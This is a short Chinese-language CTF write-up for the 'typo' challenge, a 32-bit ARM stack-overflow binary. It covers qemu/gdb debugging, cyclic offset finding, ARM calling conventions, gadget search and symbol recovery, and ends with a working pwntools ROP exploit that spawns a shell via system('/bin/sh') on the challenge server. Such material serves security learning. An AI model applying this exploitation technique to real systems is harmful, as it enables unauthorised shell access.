Typo
Simple typo program for arm.
nc pwn2.jarvisoj.com 9888
typo.46cd4ea4c775898dcf94f620940d4281
32位arm架构栈溢出,checksec发现无pie和canary
运行程序可以用qemu-arm ./typo
调试可以qemu-arm -g 1234 -L /usr/arm-linux-guneabi ./typo
之后另开窗口 gdb-multiarch,
然后set architecture arm
target remote localhost:1234便可以调试了
可以手动输入判断溢出点
判断栈溢出长度可以用cyclic 200(指定长度)
然后根据报错情况cyclic -l 0x62616164(例)
arm传参是r0,r1,r2,r3,之后从右向左压栈,返回值r0,被调用者实现堆栈平衡,pc是下一条指令地址,b/bl语句表示跳转
找/bin/sh可以在ida里搜索,也可以ROPgadget --binary ./typo --string "/bin/sh"
寻找gadget可以ROPgadget --binary ./typo --only "pop"
对于被扬符号表的可以用rizzo对相应架构的libc进行签名(File->Produce file->Rizzo signature file),然后在typo里读取签名(File->Load file->Rizzo signature file),能恢复一部分
也可以搜索/bin/sh然后按x进行交叉搜索,能找到system
exp如下:
from pwn import * #io = process(['qemu-arm', './typo']) io = remote('pwn2.jarvisoj.com', 9888) pop_r0_r4_pc = 0x20904 system_addr = 0x110B4 binsh_addr = 0x6C384 payload = b'a' * 112 + p32(pop_r0_r4_pc) + p32(binsh_addr) + p32(0) + p32(system_addr) io.recvuntil('Input ~ if you want to quit\n') io.send('\n') io.recvuntil('\n') io.send(payload) io.interactive()